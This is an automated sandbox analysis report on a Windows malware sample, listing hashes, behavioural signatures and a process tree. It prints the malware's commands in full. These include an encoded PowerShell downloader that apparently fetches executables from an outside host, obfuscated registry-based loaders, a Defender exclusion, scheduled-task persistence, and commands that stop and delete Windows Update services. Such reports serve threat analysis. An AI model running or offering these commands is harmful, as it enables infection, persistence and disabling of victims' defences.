Analysis
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max time kernel
150s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
28/01/2023, 19:17
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1196 created 1232 1196 SmartDefRun.exe 13 PID 1196 created 1232 1196 SmartDefRun.exe 13 PID 1196 created 1232 1196 SmartDefRun.exe 13 PID 1196 created 1232 1196 SmartDefRun.exe 13 PID 1956 created 416 1956 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 820 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1664 C4Loader.exe 1016 new2.exe 1632 SysApp.exe 1196 SmartDefRun.exe 1224 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 6 IoCs
pid Process 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1328 set thread context of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1196 set thread context of 1580 1196 SmartDefRun.exe 55 PID 1956 set thread context of 1548 1956 powershell.EXE 61 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 760 sc.exe 1596 sc.exe 1804 sc.exe 1072 sc.exe 1076 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1640 1328 WerFault.exe 27 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1612 schtasks.exe 1448 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d05482ae5533d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 820 powershell.exe 1632 SysApp.exe 1632 SysApp.exe 1632 SysApp.exe 1632 SysApp.exe 1632 SysApp.exe 1196 SmartDefRun.exe 1196 SmartDefRun.exe 844 powershell.exe 1196 SmartDefRun.exe 1196 SmartDefRun.exe 1196 SmartDefRun.exe 1196 SmartDefRun.exe 904 powershell.exe 1196 SmartDefRun.exe 1196 SmartDefRun.exe 1672 powershell.EXE 1956 powershell.EXE 1956 powershell.EXE 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe 1548 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 820 powershell.exe Token: SeDebugPrivilege 844 powershell.exe Token: SeDebugPrivilege 904 powershell.exe Token: SeDebugPrivilege 1672 powershell.EXE Token: SeDebugPrivilege 1956 powershell.EXE Token: SeDebugPrivilege 1956 powershell.EXE Token: SeDebugPrivilege 1548 dllhost.exe Token: SeShutdownPrivilege 1232 Explorer.EXE Token: SeShutdownPrivilege 1232 Explorer.EXE Token: SeShutdownPrivilege 1232 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 944 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1328 wrote to memory of 1640 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1328 wrote to memory of 1640 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1328 wrote to memory of 1640 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1328 wrote to memory of 1640 1328 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 944 wrote to memory of 820 944 vbc.exe 31 PID 944 wrote to memory of 820 944 vbc.exe 31 PID 944 wrote to memory of 820 944 vbc.exe 31 PID 944 wrote to memory of 820 944 vbc.exe 31 PID 820 wrote to memory of 1664 820 powershell.exe 33 PID 820 wrote to memory of 1664 820 powershell.exe 33 PID 820 wrote to memory of 1664 820 powershell.exe 33 PID 820 wrote to memory of 1664 820 powershell.exe 33 PID 820 wrote to memory of 1016 820 powershell.exe 34 PID 820 wrote to memory of 1016 820 powershell.exe 34 PID 820 wrote to memory of 1016 820 powershell.exe 34 PID 820 wrote to memory of 1016 820 powershell.exe 34 PID 820 wrote to memory of 1632 820 powershell.exe 36 PID 820 wrote to memory of 1632 820 powershell.exe 36 PID 820 wrote to memory of 1632 820 powershell.exe 36 PID 820 wrote to memory of 1632 820 powershell.exe 36 PID 820 wrote to memory of 1196 820 powershell.exe 37 PID 820 wrote to memory of 1196 820 powershell.exe 37 PID 820 wrote to memory of 1196 820 powershell.exe 37 PID 820 wrote to memory of 1196 820 powershell.exe 37 PID 520 wrote to memory of 760 520 cmd.exe 44 PID 520 wrote to memory of 760 520 cmd.exe 44 PID 520 wrote to memory of 760 520 cmd.exe 44 PID 520 wrote to memory of 1596 520 cmd.exe 45 PID 520 wrote to memory of 1596 520 cmd.exe 45 PID 520 wrote to memory of 1596 520 cmd.exe 45 PID 520 wrote to memory of 1804 520 cmd.exe 46 PID 520 wrote to memory of 1804 520 cmd.exe 46 PID 520 wrote to memory of 1804 520 cmd.exe 46 PID 520 wrote to memory of 1072 520 cmd.exe 47 PID 520 wrote to memory of 1072 520 cmd.exe 47 PID 520 wrote to memory of 1072 520 cmd.exe 47 PID 520 wrote to memory of 1076 520 cmd.exe 48 PID 520 wrote to memory of 1076 520 cmd.exe 48 PID 520 wrote to memory of 1076 520 cmd.exe 48 PID 520 wrote to memory of 876 520 cmd.exe 51 PID 520 wrote to memory of 876 520 cmd.exe 51 PID 520 wrote to memory of 876 520 cmd.exe 51 PID 904 wrote to memory of 1612 904 powershell.exe 50 PID 904 wrote to memory of 1612 904 powershell.exe 50 PID 904 wrote to memory of 1612 904 powershell.exe 50 PID 520 wrote to memory of 2004 520 cmd.exe 49 PID 520 wrote to memory of 2004 520 cmd.exe 49 PID 520 wrote to memory of 2004 520 cmd.exe 49 PID 520 wrote to memory of 1164 520 cmd.exe 52 PID 520 wrote to memory of 1164 520 cmd.exe 52 PID 520 wrote to memory of 1164 520 cmd.exe 52 PID 520 wrote to memory of 1352 520 cmd.exe 53 PID 520 wrote to memory of 1352 520 cmd.exe 53 PID 520 wrote to memory of 1352 520 cmd.exe 53 PID 520 wrote to memory of 1744 520 cmd.exe 54 PID 520 wrote to memory of 1744 520 cmd.exe 54 PID 520 wrote to memory of 1744 520 cmd.exe 54 PID 1196 wrote to memory of 1580 1196 SmartDefRun.exe 55
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:476
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:460
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:800
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1172
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:292
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1092
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:880 -
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵PID:2016
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C:\Windows\system32\taskeng.exetaskeng.exe {CC5196A9-3780-40F0-8395-8F89E55D1C3C} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:896
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+'R'+''+'E'+'').GetValue('d'+[Char](105)+''+[Char](97)+'l'+'e'+''+[Char](114)+''+'s'+'t'+'a'+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
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C:\Windows\system32\taskeng.exetaskeng.exe {9C18B832-F971-46EF-9B08-BF957364323A} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]3⤵PID:1532
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:576
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:416
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8b94931f-a10d-4c65-b820-a40c00882ac0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:484
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1232 -
C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1664
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
PID:1016
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1632 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1448
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1196
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 483⤵
- Program crash
PID:1640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:844
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:904 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1612
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:760
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1596
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1804
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1072
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1076
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2004
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:876
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1164
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1352
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1744
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1580
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
